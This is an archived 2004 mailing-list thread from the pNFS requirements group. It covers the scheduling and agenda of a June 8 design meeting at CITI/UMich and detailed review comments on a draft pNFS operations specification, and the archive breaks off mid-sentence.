http://us.click.yahoo.com/mOAaAA/3exGAA/qnsNAA/W6uqlB/TM > > --------------------------------------------------------------------- > > ~-> > > > > > > Yahoo! Groups Links > > > > > > > > > > > > > > Yahoo! Groups Links > > > > > -- Brent Welch Software Architect, Panasas Inc Delivering the premier storage system for scalable Linux clusters www.panasas.com welch@panasas.com >From garth@panasas.com Tue Apr 20 13:30:18 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 72646 invoked from network); 20 Apr 2004 20:30:17 -0000 Received: from unknown (66.218.66.218) by m11.grp.scd.yahoo.com with QMQP; 20 Apr 2004 20:30:17 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta3.grp.scd.yahoo.com with SMTP; 20 Apr 2004 20:30:17 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56L9D4; Tue, 20 Apr 2004 16:30:15 -0400 Mime-Version: 1.0 (Apple Message framework v612) Content-Transfer-Encoding: 7bit Message-Id: <86588ED1-9309-11D8-912C-000A95A94F04@panasas.com> Content-Type: text/plain; charset=US-ASCII; format=flowed To: pnfs-reqs@yahoogroups.com Date: Tue, 20 Apr 2004 13:30:12 -0700 X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: FYI X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Call for Papers and Participation WORKSHOP ON SCALABLE FILE SYSTEMS AND STORAGE TECHNOLOGIES in conjunction with THE 17TH INTERNATIONAL CONFERENCE ON PARALLEL AND DISTRIBUTED COMPUTING SYSTEMS (PDCS 2004) San Francisco, CA September 15-17, 2004 http://multimedia.ece.uic.edu/pdcs2004/PDCS_WS_CFP.pdf Computational simulations generate vast amounts of data that require distributed storage facilities to effectively store, retrieve, and share the information among collaborating applications. Performance of such simulations is impacted by the performance of the storage subsystem. Storage technologies are also evolving drastically in order to keep up with the ever-increasing demand for improved data access. Along with complex simulations and associated storage come new challenges. The goal of this workshop is to encourage innovation by addressing the complex issues that arise in data storage associated with very large-scale distributed applications. This one-day workshop promotes the exchange of novel ideas, information and developments among universities, industry and federal laboratories. Topics of interest of this workshop include (but are not limited to) the illustration of advances in the following areas: * Parallel File Systems : * Storage Technology and protocols * Storage issues in Grid computing environments * Storage issues associated with large-scale distributed applications * I/O Performance Analysis; * Parallel I/O support for databases. There will be several invited 30-minutes lectures as well as contributed 20-30 minutes talks. Accepted abstracts would be published in the conference proceedings. Links to individual presenters materials will be posted at http://ardra.hpcl.cis.uab.edu/sfast04/ To submit papers, send your manuscript (4 page extended abstract) electronically (PS or PDF format, compressed) or by mail (3 paper copies) to the following address: Vijay Velusamy High Performance Computing Laboratory Department of Computer and Information Sciences 113A Campbell Hall, 1300 University Boulevard Birmingham, AL 35294-1170 e-mail: vijay@hpcl.cis.uab.edu IMPORTANT DATES ================== Submission deadline : June 4, 2004 Acceptance Notifications : July 5, 2004 Camera-ready prints : July 28, 2004 Invited Speakers: * Garth Gibson (Carnegie Mellon University, Panasas, Inc.) * Gary Grider (Los Alamos National Laboratories) * Tyce Mclarty (Lawrence Livermore National Laboratories) * Thomas H. Cormen (Dartmouth College) * Robert Ross (Argonne National Laboratories) Steering Committee: * Anthony Skjellum (University of Alabama at Birmingham) * Vijay Velusamy (University of Alabama at Birmingham) * Kumaran Rajaram (Verari Systems, Inc.) >From garth@panasas.com Wed Apr 21 10:57:26 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 21847 invoked from network); 21 Apr 2004 17:57:24 -0000 Received: from unknown (66.218.66.167) by m24.grp.scd.yahoo.com with QMQP; 21 Apr 2004 17:57:24 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 21 Apr 2004 17:57:24 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56MD5F; Wed, 21 Apr 2004 13:56:37 -0400 Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: <20040419201537.02CB0207F1@citi.umich.edu> References: <20040419201537.02CB0207F1@citi.umich.edu> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <3B147EB5-93BD-11D8-912C-000A95A94F04@panasas.com> Content-Transfer-Encoding: 7bit Date: Wed, 21 Apr 2004 10:56:35 -0700 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] Fwd: logistics status X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Lets decide this at the logistics concall tomorrow morning 11 am EST. We have a proposal of Tues June 8 for the pNFS face-to-face at CITI/UMich in Ann Arbor. Anyone wanting to join the concall tomorrow who does not have the dialin, please send me direct email. Thanks garth On Apr 19, 2004, at 1:15 PM, William A.(Andy) Adamson wrote: > monday is spent setting up the bakeathon. i think it would be best if > we had > the pNFS meeting on tuesday june 8th, with the interim IETF meeting on > wednesday. > > i propose tuesday. > > -->Andy > > > > garth@panasas.com said: >> I think Peter Corbett and I cannot be in Ann Arbor at all on Thursday >> and Friday. > >> What about others? Lets find a day where the largest number can >> attend in person. > >> Pending the outcome of this poll, Andy & Peter -- who does a Monday >> pNFS face-to-face meeting look at your end? > >> garth > > > > > > > Yahoo! Groups Links > > > > >From spencer.shepler@sun.com Wed Apr 21 12:28:39 2004 Return-Path: X-Sender: spencer.shepler@sun.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 61926 invoked from network); 21 Apr 2004 19:28:38 -0000 Received: from unknown (66.218.66.167) by m3.grp.scd.yahoo.com with QMQP; 21 Apr 2004 19:28:38 -0000 Received: from unknown (HELO brmea-mail-3.sun.com) (192.18.98.34) by mta6.grp.scd.yahoo.com with SMTP; 21 Apr 2004 19:28:38 -0000 Received: from engmail2sun.Eng.Sun.COM ([129.144.134.19]) by brmea-mail-3.sun.com (8.12.10/8.12.9) with ESMTP id i3LJSH4U012158 for ; Wed, 21 Apr 2004 13:28:17 -0600 (MDT) Received: from [129.153.128.28] (this.Central.Sun.COM [129.153.128.28]) by engmail2sun.Eng.Sun.COM (8.12.10+Sun/8.12.10/ENSMAIL,v2.2) with ESMTP id i3LJSHgr015435 for ; Wed, 21 Apr 2004 12:28:17 -0700 (PDT) Mime-Version: 1.0 (Apple Message framework v613) In-Reply-To: <3B147EB5-93BD-11D8-912C-000A95A94F04@panasas.com> References: <20040419201537.02CB0207F1@citi.umich.edu> <3B147EB5-93BD-11D8-912C-000A95A94F04@panasas.com> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <73D2D8F0-93CA-11D8-AF89-000A95DBCB70@sun.com> Content-Transfer-Encoding: 7bit Date: Wed, 21 Apr 2004 14:31:14 -0500 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.613) X-eGroups-Remote-IP: 192.18.98.34 From: Spencer Shepler Subject: Re: [pnfs-reqs] Fwd: logistics status X-Yahoo-Group-Post: member; u=129247794 X-Yahoo-Profile: s_shepler ADVERTISEMENT I have misplaced the concall info, Garth. On Apr 21, 2004, at 12:56 PM, Garth Gibson wrote: > Lets decide this at the logistics concall tomorrow morning 11 am EST. > > We have a proposal of Tues June 8 for the pNFS face-to-face at > CITI/UMich in Ann Arbor. > > Anyone wanting to join the concall tomorrow who does not have the > dialin, please send me direct email. > > Thanks > garth > > On Apr 19, 2004, at 1:15 PM, William A.(Andy) Adamson wrote: > >> monday is spent setting up the bakeathon. i think it would be best if >> we had >> the pNFS meeting on tuesday june 8th, with the interim IETF meeting on >> wednesday. >> >> i propose tuesday. >> >> -->Andy >> >> >> >> garth@panasas.com said: >>> I think Peter Corbett and I cannot be in Ann Arbor at all on Thursday >>> and Friday. >> >>> What about others? Lets find a day where the largest number can >>> attend in person. >> >>> Pending the outcome of this poll, Andy & Peter -- who does a Monday >>> pNFS face-to-face meeting look at your end? >> >>> garth >> >> >> >> >> >> >> Yahoo! Groups Links >> >> >> >> > > > > ------------------------ Yahoo! Groups Sponsor > ---------------------~--> > Buy Ink Cartridges or Refill Kits for your HP, Epson, Canon or Lexmark > Printer at MyInks.com. Free s/h on orders $50 or more to the US & > Canada. > http://www.c1tracking.com/l.asp?cid=5511 > http://us.click.yahoo.com/mOAaAA/3exGAA/qnsNAA/W6uqlB/TM > --------------------------------------------------------------------- > ~-> > > > Yahoo! Groups Links > > > > > >From andros@citi.umich.edu Mon May 03 10:58:35 2004 Return-Path: X-Sender: andros@citi.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 40734 invoked from network); 3 May 2004 17:58:34 -0000 Received: from unknown (66.218.66.172) by m24.grp.scd.yahoo.com with QMQP; 3 May 2004 17:58:34 -0000 Received: from unknown (HELO citi.umich.edu) (141.211.133.111) by mta4.grp.scd.yahoo.com with SMTP; 3 May 2004 17:58:34 -0000 Received: from citi.umich.edu (citi.umich.edu [141.211.133.111]) by citi.umich.edu (Postfix) with ESMTP id 1ACC8207C4; Mon, 3 May 2004 13:58:25 -0400 (EDT) X-Mailer: exmh version 2.5 07/13/2001 with version: MH 6.8.3 #74[UCI] To: pnfs-reqs@yahoogroups.com Cc: pnfs-ops@yahoogroups.com, nfsv4-wg@citi.umich.edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 03 May 2004 13:58:25 -0400 Message-Id: <20040503175825.1ACC8207C4@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: Announcement of the pNFS face-tp-face meeting at CITI, June 8th. X-Yahoo-Group-Post: member; u=169434965 CITI University of Michigan is pleased to host the next pNFS face-to-faces meeting Tuesday June 8th 9:00am - 5:00pm. This meeting is scheduled during the 10th NFSv4 Bakeathon also held at CITI June 7-11, and one day prior to the Interim NFSv4 IETF working group meeting, held at the Universtiy of Michigan June 9th. The meeting will be held in a conference room in the Argus building, which also houses CITI. A teleconferencing call line will be provided for phone participation. An agenda will be forth coming. See http://www.citi.umich.edu/projects/nfsv4/citi_bakeathon/10th_nfsv4_bakeathon.ht ml for hotel and travel information. Bakeathon regisitration is not necessary for pNFS meeting participation. -->Andy Adamson >From ggrider@lanl.gov Mon May 03 15:23:46 2004 Return-Path: X-Sender: ggrider@lanl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 44877 invoked from network); 3 May 2004 22:23:45 -0000 Received: from unknown (66.218.66.172) by m10.grp.scd.yahoo.com with QMQP; 3 May 2004 22:23:45 -0000 Received: from unknown (HELO mailwasher-b.lanl.gov) (192.16.0.25) by mta4.grp.scd.yahoo.com with SMTP; 3 May 2004 22:23:45 -0000 Received: from mailrelay3.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i43MNiik000407 for ; Mon, 3 May 2004 16:23:44 -0600 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay3.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i43MNiQ8018776 for ; Mon, 3 May 2004 16:23:44 -0600 Received: from cthulu.lanl.gov (cthulu.lanl.gov [128.165.115.129]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i43MNhia004641 for ; Mon, 3 May 2004 16:23:43 -0600 Message-Id: <5.2.0.9.2.20040503162329.0328f0f8@cic-mail.lanl.gov> X-Sender: ggrider@cic-mail.lanl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Mon, 03 May 2004 16:23:43 -0600 To: pnfs-reqs@yahoogroups.com In-Reply-To: <20040503175825.1ACC8207C4@citi.umich.edu> Mime-Version: 1.0 Content-Type: multipart/related; type=""multipart/alternative""; boundary=""=====================_29822873==.REL"" X-Scanned-By: MIMEDefang 2.35 X-eGroups-Remote-IP: 192.16.0.25 From: Gary Grider Subject: Re: [pnfs-reqs] Announcement of the pNFS face-tp-face meeting at CITI, June 8th. X-Yahoo-Group-Post: member; u=169341185 X-Yahoo-Profile: ggriderpnfs Will there be dial in? Thanks Gary At 01:58 PM 5/3/2004 -0400, you wrote: > CITI University of Michigan is pleased to host the next pNFS face-to-faces > meeting Tuesday June 8th 9:00am - 5:00pm. This meeting is scheduled during the > 10th NFSv4 Bakeathon also held at CITI June 7-11, and one day prior to the > Interim NFSv4 IETF working group meeting, held at the Universtiy of Michigan > June 9th. > > The meeting will be held in a conference room in the Argus building, which > also houses CITI. A teleconferencing call line will be provided for phone > participation. An agenda will be forth coming. > > See > http://www.citi.umich.edu/projects/nfsv4/citi_bakeathon/10th_nfsv4_bakeathon.ht > ml for hotel and travel information. Bakeathon regisitration is not necessary > for pNFS meeting participation. > > -->Andy Adamson > > > Yahoo! Groups Sponsor > ADVERTISEMENT > 1c707da.jpg > 1c70834.jpg > > Yahoo! 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Terms of Service. >From andros@citi.umich.edu Mon May 03 15:50:39 2004 Return-Path: X-Sender: andros@citi.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 58410 invoked from network); 3 May 2004 22:50:38 -0000 Received: from unknown (66.218.66.172) by m19.grp.scd.yahoo.com with QMQP; 3 May 2004 22:50:38 -0000 Received: from unknown (HELO citi.umich.edu) (141.211.133.111) by mta4.grp.scd.yahoo.com with SMTP; 3 May 2004 22:50:37 -0000 Received: from citi.umich.edu (citi.umich.edu [141.211.133.111]) by citi.umich.edu (Postfix) with ESMTP id 50184207F8; Mon, 3 May 2004 18:50:37 -0400 (EDT) X-Mailer: exmh version 2.5 07/13/2001 with version: MH 6.8.3 #74[UCI] To: pnfs-reqs@yahoogroups.com Cc: andros@citi.umich.edu In-reply-to: Your message of ""Mon, 03 May 2004 16:23:43 MDT."" <5.2.0.9.2.20040503162329.0328f0f8@cic-mail.lanl.gov> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 03 May 2004 18:50:37 -0400 Message-Id: <20040503225037.50184207F8@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: Re: [pnfs-reqs] Announcement of the pNFS face-tp-face meeting at CITI, June 8th. X-Yahoo-Group-Post: member; u=169434965 ADVERTISEMENT click here hi gary yes, there will be dial-in. -->Andy > > Will there be dial in? > > Thanks > Gary > > At 01:58 PM 5/3/2004 -0400, you wrote: > >CITI University of Michigan is pleased to host the next pNFS face-to-faces > >meeting Tuesday June 8th 9:00am - 5:00pm. This meeting is scheduled during > >the > >10th NFSv4 Bakeathon also held at CITI June 7-11, and one day prior to the > >Interim NFSv4 IETF working group meeting, held at the Universtiy of Michigan > >June 9th. > > > >The meeting will be held in a conference room in the Argus building, which > >also houses CITI. A teleconferencing call line will be provided for phone > >participation. An agenda will be forth coming. > > > >See > >http://www.citi.umich.edu/projects/nfsv4/citi_bakeathon/10th_nfsv4_bakeathon.ht > >ml for hotel and travel information. Bakeathon regisitration is not necessary > >for pNFS meeting participation. > > > >-->Andy Adamson > > > > > >Yahoo! Groups Sponsor > >ADVERTISEMENT > >1c707da.jpg > > > >1c70834.jpg > > > > > >---------- > >Yahoo! Groups Links > > * To visit your group on the web, go to: > > * > > http://groups.yahoo.com/group/pnfs-reqs/ > > > > * > > * To unsubscribe from this group, send an email to: > > * > > pnfs-reqs-unsubscribe@yahoogroups.com > > > > * > > * Your use of Yahoo! Groups is subject to the > > Yahoo! Terms of Service. > > --=====================_29822883==.ALT > Content-Type: text/html; charset=US-ASCII > Content-Transfer-Encoding: 7bit > > > > > > Will there be dial in? > Thanks > Gary > At 01:58 PM 5/3/2004 -0400, you wrote: > CITI University of Michigan is > pleased to host the next pNFS face-to-faces > meeting Tuesday June 8th 9:00am - 5:00pm. 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13 May 2004 18:02:13 -0000 Received: from unknown (66.218.66.166) by m19.grp.scd.yahoo.com with QMQP; 13 May 2004 18:02:13 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta5.grp.scd.yahoo.com with SMTP; 13 May 2004 18:02:13 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B563QFQ; Thu, 13 May 2004 14:02:10 -0400 Mime-Version: 1.0 (Apple Message framework v613) In-Reply-To: <20040503175825.1ACC8207C4@citi.umich.edu> References: <20040503175825.1ACC8207C4@citi.umich.edu> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Date: Thu, 13 May 2004 14:02:08 -0400 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.613) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] Announcement of the pNFS face-tp-face meeting at CITI, June 8th. X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Consider this a call for agenda items for the June 8 meeting. In the absence of contributions, I'd suggest that we spend the morning on NFSv4 extension operations, start the afternoon on the requirements document and return to operations if time allows. garth On May 3, 2004, at 1:58 PM, William A.(Andy) Adamson wrote: > CITI University of Michigan is pleased to host the next pNFS > face-to-faces > meeting Tuesday June 8th 9:00am - 5:00pm. This meeting is scheduled > during the > 10th NFSv4 Bakeathon also held at CITI June 7-11, and one day prior to > the > Interim NFSv4 IETF working group meeting, held at the Universtiy of > Michigan > June 9th. > > The meeting will be held in a conference room in the Argus building, > which > also houses CITI. A teleconferencing call line will be provided for > phone > participation. An agenda will be forth coming. > > See > http://www.citi.umich.edu/projects/nfsv4/citi_bakeathon/ > 10th_nfsv4_bakeathon.ht > ml for hotel and travel information. Bakeathon regisitration is not > necessary > for pNFS meeting participation. > > -->Andy Adamson >From andros@citi.umich.edu Thu May 13 12:07:24 2004 Return-Path: X-Sender: andros@citi.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 90315 invoked from network); 13 May 2004 19:07:23 -0000 Received: from unknown (66.218.66.167) by m22.grp.scd.yahoo.com with QMQP; 13 May 2004 19:07:23 -0000 Received: from unknown (HELO citi.umich.edu) (141.211.133.111) by mta6.grp.scd.yahoo.com with SMTP; 13 May 2004 19:07:23 -0000 Received: from citi.umich.edu (citi.umich.edu [141.211.133.111]) by citi.umich.edu (Postfix) with ESMTP id A4562207E3; Thu, 13 May 2004 15:07:04 -0400 (EDT) X-Mailer: exmh version 2.5 07/13/2001 with version: MH 6.8.3 #74[UCI] To: pnfs-reqs@yahoogroups.com Cc: andros@citi.umich.edu In-reply-to: Your message of ""Thu, 13 May 2004 14:02:08 EDT."" Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 13 May 2004 15:07:04 -0400 Message-Id: <20040513190704.A4562207E3@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: Re: [pnfs-reqs] Announcement of the pNFS face-tp-face meeting at CITI, June 8th. X-Yahoo-Group-Post: member; u=169434965 ok. i'm proposal writing until friday, and will be able to turn my attention towards the face-to-face meeting next week... -->Andy > Consider this a call for agenda items for the June 8 meeting. > > In the absence of contributions, I'd suggest that we spend the morning > on NFSv4 extension operations, start the afternoon on the requirements > document and return to operations if time allows. > > garth > > > On May 3, 2004, at 1:58 PM, William A.(Andy) Adamson wrote: > > CITI University of Michigan is pleased to host the next pNFS > > face-to-faces > > meeting Tuesday June 8th 9:00am - 5:00pm. This meeting is scheduled > > during the > > 10th NFSv4 Bakeathon also held at CITI June 7-11, and one day prior to > > the > > Interim NFSv4 IETF working group meeting, held at the Universtiy of > > Michigan > > June 9th. > > > > The meeting will be held in a conference room in the Argus building, > > which > > also houses CITI. A teleconferencing call line will be provided for > > phone > > participation. An agenda will be forth coming. > > > > See > > http://www.citi.umich.edu/projects/nfsv4/citi_bakeathon/ > > 10th_nfsv4_bakeathon.ht > > ml for hotel and travel information. Bakeathon regisitration is not > > necessary > > for pNFS meeting participation. > > > > -->Andy Adamson > > > > > > Yahoo! Groups Links > > > > > > >From andros@citi.umich.edu Thu Jun 03 10:09:42 2004 Return-Path: X-Sender: andros@citi.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 24201 invoked from network); 3 Jun 2004 17:09:41 -0000 Received: from unknown (66.218.66.167) by m22.grp.scd.yahoo.com with QMQP; 3 Jun 2004 17:09:41 -0000 Received: from unknown (HELO citi.umich.edu) (141.211.133.111) by mta6.grp.scd.yahoo.com with SMTP; 3 Jun 2004 17:09:41 -0000 Received: from citi.umich.edu (citi.umich.edu [141.211.133.111]) by citi.umich.edu (Postfix) with ESMTP id 3395B207F5; Thu, 3 Jun 2004 13:07:33 -0400 (EDT) X-Mailer: exmh version 2.5 07/13/2001 with version: MH 6.8.3 #74[UCI] To: pnfs-reqs@yahoogroups.com Cc: pnfs-ops@yahoogroups.com, nfsv4-wg@citi.umich.edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 03 Jun 2004 13:07:33 -0400 Message-Id: <20040603170733.3395B207F5@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: Announcement and Agenda for the pNFS face-tp-face meeting at CITI, June 8th. X-Yahoo-Group-Post: member; u=169434965 CITI is pleased to host the next pNFS face-to-face meeting Tuesday June 8th 9:00am - 5:00pm. This meeting is scheduled during the 10th NFSv4 Bakeathon also held at CITI June 7-11, and one day prior to the Interim NFSv4 IETF working group meeting, held at the Universtiy of Michigan June 9th. See http://www.citi.umich.edu/projects/nfsv4/citi_bakeathon/10th_nfsv4_bakeatho n.ht ml for hotel and travel information. Bakeathon regisitration is not necessary for pNFS meeting participation. pNFS protocol design meeting at CITI, Tuesday June 8. Location -------- Conference room, 2202 Argus Bldg, one floor below CITI see http://www.citi.umich.edu/location.html for directions Agenda ------ 9:00 - 10:30 use cases describe with high level pseudo operations 10:30 - 11:00 break 11:00 - 12:30 operation design part 1 12:30 - 2:00 lunch 2:00 - 3:30 operation design part 2 3:30 - 5:00 create protocol requirements document Dial-in ------- 734-615-5502 no id# required we have a polycom conference phone with 2 remotes. note that this is a design meeting so there will be a bunch of scribbling on the white boards... -->Andy >From bwelch@panasas.com Thu Jun 03 21:29:13 2004 Return-Path: X-Sender: bwelch@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 43292 invoked from network); 4 Jun 2004 04:29:12 -0000 Received: from unknown (66.218.66.218) by m23.grp.scd.yahoo.com with QMQP; 4 Jun 2004 04:29:12 -0000 Received: from unknown (HELO n27.grp.scd.yahoo.com) (66.218.66.83) by mta3.grp.scd.yahoo.com with SMTP; 4 Jun 2004 04:29:12 -0000 Received: from [66.218.67.183] by n27.grp.scd.yahoo.com with NNFMP; 04 Jun 2004 04:29:11 -0000 Date: Fri, 04 Jun 2004 04:29:11 -0000 To: pnfs-reqs@yahoogroups.com Message-ID: User-Agent: eGroups-EW/0.82 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Length: 168 X-Mailer: Yahoo Groups Message Poster X-eGroups-Remote-IP: 66.218.66.83 From: ""Brent B. Welch"" X-Originating-IP: 63.80.58.202 Subject: draft ops document in prep for June 8 meeting X-Yahoo-Group-Post: member; u=169551413 X-Yahoo-Profile: brent_welch_1960 ADVERTISEMENT I have uploaded an ops document to the yahoo site so you can review it before the June 8 meeting. If you cannot get to it, drop me an email and I can send you a copy. >From dnoveck@netapp.com Fri Jun 04 13:21:44 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 53896 invoked from network); 4 Jun 2004 20:21:43 -0000 Received: from unknown (66.218.66.172) by m22.grp.scd.yahoo.com with QMQP; 4 Jun 2004 20:21:43 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta4.grp.scd.yahoo.com with SMTP; 4 Jun 2004 20:21:43 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i54KKoMj029634 for ; Fri, 4 Jun 2004 13:20:50 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i54KKoIC012108 for ; Fri, 4 Jun 2004 13:20:50 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Fri, 4 Jun 2004 13:20:45 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] draft ops document in prep for June 8 meeting Thread-Index: AcRJ7KK86F6stPm+Q/uYgJfAUU8D7wAhDoRg To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] draft ops document in prep for June 8 meeting X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck Thanks. Below are a miscelleneous brag bag of my comments on going though your document. The key feature of the protocol extension is the ability for clients > to perform read and write operations that go directly from the client > to the storage system without funneling through the file server. Of > course, the file server must coordinate the client I/O so that the > file system retains its integrity. suggested rewording: The key feature of the protocol extension is the ability for clients to perform read and write operations that go directly from the client to individual storage system elements without funneling all such access through a single file server. Of course, the file server must coordinate the client I/O so that the file system retains its integrity. > The delegation abstraction is extended so that clients can obtain and > manage file layouts allowing direct I/O and servers can recall these > layouts as needed. suggested rewording: The delegation abstraction is extended so that clients can obtain and manage file layouts allowing parallel I/O and servers can recall these layouts as needed. > The pNFS extension to NFSv4 takes the form of new operations that > return data location information. The layout information is > protected by layout delegations. It refers here to both ""data location information"" and ""layout information"". Are these intended to be the same? One worthwhile distinction that might be worth making is between that which tells you where to go go access certain locations within the file (i.e. what IP address the server is) and what addresses the data has withn that server (e.g. the file handle or object ID or block addresses). > Metadata Information about a file, like its name, owner, where it > stored, and so forth. This information is managed by the > File server (sometimes called the metadata manager). In > some storage protocols, metadata such as block pointers > and indirect blocks may be hidden below the storage > protocol and not managed directly by the metadata > manager. Not clear what you are intending to convey by ""not managed directly by the metadata manager""? There is this block information which the clients gets from the server (the layout) and he uses it to read and write the file. How is it ""not managed directly by the metadata manager""? > Data Server (Also, ""Storage device"") this is a server that just > controls the file's data, but leaves other metadata > management up to the file server (or metadata manager). This too make things more obscure. The data server is used to read and write file data as approriate and allowed by the layout. End of story. For example a SAN device doesn't leave storage of ACL's up to the file server, it simply has no concept of ACL's at all. > Storage Protocol This is the protocol between the client and the > data server used to access the file data. There are > three primary types: file protocols (like NFSv4 or > NFSv3), like --> such as > object protocols (OSD), and block protocols > (SCSI-block commands, or ""SB""). These protocols are in > turn layered over transport protocols such as RPC/TCP/IP > or iSCSI/TCP/IP or FC/SCSI. > Aggregation schemes can describe layouts like simple one-to-one > mapping, concatenation, mirroring, and other RAID arrangements. A > general aggregation scheme allows nested maps so that more complex > layouts can be compactly described. I can see mirroring in the readonly case. Mirroring for write and raid seem to me like biting off too much. I guess it is OK to say that we may define aggregation schemes for experimental use, but if it is proposed that we try to make a protocol which deals with multiple mirrored writes being done then there is a ton of work to figure out what you do when because of failures or bad clients the same thing is not written to each mirror. If we have to have solve those problems to get a pNFS extension, it isn't going to happen for wuite a long time. > The metadata server is in control of the layout for a file, but the > client can provide hints to the server when a file is opened or > created about preferred layout parameters. The pNFS extension > introduces a LAYOUT attribute that the client can query at anytime, > and can set with a compound SETATTR after OPEN or CREATE to provide a > hint to the server for new files. The layout is going to contain information that won't be part of a reasonable hint (e.g. file handles, block addressess). I think there will probably be separate LAYOUT_HINT attribute that you can specify when creating the file. > Each storage device has a type. There are major classifications of > storage types, but we anticipate local variations. There is a tight > coupling between the device type and the storage protocol type, but > not necessarily a one-to-one mapping. You might have a file-based > storage protocol, but use NFSv4 and NFSv3 storage devices. I don't understand. This just seems confusing. You really have a disinction between protocol class, e.g. file protocols, and protocols themselves, e.g. NFSv4.0, nfsv4.1, nfsv3. I don't see why we are making this into a distinction between protocols and storage devices. It is very common and reasonable for a storage device (i.e. file server) which supports nfsv4 to also support nfsv3 and nfsv2. Why would you have separate storage devices for each protocol? > pnfs_stortype LAYOUT > > The storage sub-system type of the object's filesystem. This > determines the storage protocol used to access the file. It is > assumed the client contains a module that supports this storage > protocol. This module has to interpret the map information returned > by LAYOUTGET and issue I/O commands to the storage devices. May be an incorrect assumption. I think there needs to be some way for the client to indicate what forms of LAYOUT he is pepared to deal with. > enum layoutget_type4 { > LAYOUTGET_READ = 1, > LAYOUTGET_WRITE = 2 > }; Not clear about this. What if I'm both reading and writing a file, as many people do? > struct LAYOUTGET4args { > /* CURRENT_FH: file */ > layoutget_type4 type; Seems to me there should be some way of asking for a particular form of layout that the client knows it can handle (e.g. file, object, block). > stateid4 open_stateid; Unclear what the function of this is. You say ""Stateid represents the current state of an open file"" but how is this related to layout you get. What happens to the layout if the file is closed? May the layout be used to access the data on behalf of other open files and users (which seems quite reasonable in many cases of file access). > offset4 offset; > length4 length; > bool notify; > }; > IMPLEMENTATION > > Typically, LAYOUTGET will be called as part of a compound RPC after > an OPEN operation and results in the client having location > information for the file. In a COMPOUND, how do you propagate the open_stateid from the OPEN to the LAYOUTGET? > If the OPEN does not return a delegation > for the file then the client should not use the layout given to it > for direct I/O but rather call the 